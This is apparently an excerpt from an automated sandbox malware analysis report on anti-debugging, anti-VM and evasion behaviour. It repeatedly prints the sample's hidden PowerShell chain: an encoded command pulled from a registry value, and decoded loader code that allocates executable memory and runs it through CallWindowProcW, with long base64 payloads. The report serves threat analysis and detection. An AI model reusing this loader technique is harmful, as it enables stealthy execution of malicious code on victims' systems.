            Source: powershell.exe, 0000000C.00000002.642746702.000000000A40A000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.900526799.000000000A1FA000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: Hyper-V Guest Service Interface
            Source: powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: vmicheartbeat

            Anti Debugging

            barindex
            Hides threads from debuggers
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread information set: HideFromDebugger
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeThread information set: HideFromDebugger
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess queried: DebugPort
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess queried: DebugPort

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Encrypted powershell cmdline option found
            Source: C:\Windows\System32\wscript.exeProcess created: Base64 decoded #agry Scriven systemko Tredje5 Chromi8 BIBL Overstre7 prec Forligsin2 Benefit Apotheosiz udetil LOOSE Brneve9 Tonsi2 Tropis Pleuroli4 blkk Cystice Underrepor1 Proculcat PASTOR Sang combaronfo ompr Damned8 NEPH Fruitivere DEFAITIS Miskende5 Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Scriptere1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);}"@#refr Cancerinco Linguatul heale LEVIGAT LIGKISTE svovl platonismm Opdrifts Test-Path "inte" Test-Path "Haandboldh6" $Scriptere3=0;$Scriptere9=1048576;$Scriptere8=[Scriptere1]::NtAllocateVirtualMemory(-1,[ref]$Scriptere3,0,[ref]$Scriptere9,12288,64)#Obligat Opskrerfrs Desor6 GRUPPEMED LIVSKVA stersst Actionar6 Anarthro1 Wampanoagm7 Regnvejr7 koebtfurze Cornless3 Bryghusea Nightime baalta cyclo Sinds3 PLADELAGE Skinnebe6 Zweckscop9 teutoniz Assessore renas VEAL PRSI
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: Base64 decoded #agry Scriven systemko Tredje5 Chromi8 BIBL Overstre7 prec Forligsin2 Benefit Apotheosiz udetil LOOSE Brneve9 Tonsi2 Tropis Pleuroli4 blkk Cystice Underrepor1 Proculcat PASTOR Sang combaronfo ompr Damned8 NEPH Fruitivere DEFAITIS Miskende5 Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Scriptere1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);}"@#refr Cancerinco Linguatul heale LEVIGAT LIGKISTE svovl platonismm Opdrifts Test-Path "inte" Test-Path "Haandboldh6" $Scriptere3=0;$Scriptere9=1048576;$Scriptere8=[Scriptere1]::NtAllocateVirtualMemory(-1,[ref]$Scriptere3,0,[ref]$Scriptere9,12288,64)#Obligat Opskrerfrs Desor6 GRUPPEMED LIVSKVA stersst Actionar6 Anarthro1 Wampanoagm7 Regnvejr7 koebtfurze Cornless3 Bryghusea Nightime baalta cyclo Sinds3 PLADELAGE Skinnebe6 Zweckscop9 teutoniz Assessore renas VEAL PRSI
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: Base64 decoded #agry Scriven systemko Tredje5 Chromi8 BIBL Overstre7 prec Forligsin2 Benefit Apotheosiz udetil LOOSE Brneve9 Tonsi2 Tropis Pleuroli4 blkk Cystice Underrepor1 Proculcat PASTOR Sang combaronfo ompr Damned8 NEPH Fruitivere DEFAITIS Miskende5 Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Scriptere1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);}"@#refr Cancerinco Linguatul heale LEVIGAT LIGKISTE svovl platonismm Opdrifts Test-Path "inte" Test-Path "Haandboldh6" $Scriptere3=0;$Scriptere9=1048576;$Scriptere8=[Scriptere1]::NtAllocateVirtualMemory(-1,[ref]$Scriptere3,0,[ref]$Scriptere9,12288,64)#Obligat Opskrerfrs Desor6 GRUPPEMED LIVSKVA stersst Actionar6 Anarthro1 Wampanoagm7 Regnvejr7 koebtfurze Cornless3 Bryghusea Nightime baalta cyclo Sinds3 PLADELAGE Skinnebe6 Zweckscop9 teutoniz Assessore renas VEAL PRSI
            Source: C:\Windows\System32\wscript.exeProcess created: Base64 decoded #agry Scriven systemko Tredje5 Chromi8 BIBL Overstre7 prec Forligsin2 Benefit Apotheosiz udetil LOOSE Brneve9 Tonsi2 Tropis Pleuroli4 blkk Cystice Underrepor1 Proculcat PASTOR Sang combaronfo ompr Damned8 NEPH Fruitivere DEFAITIS Miskende5 Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Scriptere1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);}"@#refr Cancerinco Linguatul heale LEVIGAT LIGKISTE svovl platonismm Opdrifts Test-Path "inte" Test-Path "Haandboldh6" $Scriptere3=0;$Scriptere9=1048576;$Scriptere8=[Scriptere1]::NtAllocateVirtualMemory(-1,[ref]$Scriptere3,0,[ref]$Scriptere9,12288,64)#Obligat Opskrerfrs Desor6 GRUPPEMED LIVSKVA stersst Actionar6 Anarthro1 Wampanoagm7 Regnvejr7 koebtfurze Cornless3 Bryghusea Nightime baalta cyclo Sinds3 PLADELAGE Skinnebe6 Zweckscop9 teutoniz Assessore renas VEAL PRSI
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: Base64 decoded #agry Scriven systemko Tredje5 Chromi8 BIBL Overstre7 prec Forligsin2 Benefit Apotheosiz udetil LOOSE Brneve9 Tonsi2 Tropis Pleuroli4 blkk Cystice Underrepor1 Proculcat PASTOR Sang combaronfo ompr Damned8 NEPH Fruitivere DEFAITIS Miskende5 Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Scriptere1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);}"@#refr Cancerinco Linguatul heale LEVIGAT LIGKISTE svovl platonismm Opdrifts Test-Path "inte" Test-Path "Haandboldh6" $Scriptere3=0;$Scriptere9=1048576;$Scriptere8=[Scriptere1]::NtAllocateVirtualMemory(-1,[ref]$Scriptere3,0,[ref]$Scriptere9,12288,64)#Obligat Opskrerfrs Desor6 GRUPPEMED LIVSKVA stersst Actionar6 Anarthro1 Wampanoagm7 Regnvejr7 koebtfurze Cornless3 Bryghusea Nightime baalta cyclo Sinds3 PLADELAGE Skinnebe6 Zweckscop9 teutoniz Assessore renas VEAL PRSI
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: Base64 decoded #agry Scriven systemko Tredje5 Chromi8 BIBL Overstre7 prec Forligsin2 Benefit Apotheosiz udetil LOOSE Brneve9 Tonsi2 Tropis Pleuroli4 blkk Cystice Underrepor1 Proculcat PASTOR Sang combaronfo ompr Damned8 NEPH Fruitivere DEFAITIS Miskende5 Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Scriptere1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);}"@#refr Cancerinco Linguatul heale LEVIGAT LIGKISTE svovl platonismm Opdrifts Test-Path "inte" Test-Path "Haandboldh6" $Scriptere3=0;$Scriptere9=1048576;$Scriptere8=[Scriptere1]::NtAllocateVirtualMemory(-1,[ref]$Scriptere3,0,[ref]$Scriptere9,12288,64)#Obligat Opskrerfrs Desor6 GRUPPEMED LIVSKVA stersst Actionar6 Anarthro1 Wampanoagm7 Regnvejr7 koebtfurze Cornless3 Bryghusea Nightime baalta cyclo Sinds3 PLADELAGE Skinnebe6 Zweckscop9 teutoniz Assessore renas VEAL PRSI
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4Aa
            Source: unknownProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: unknownProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBD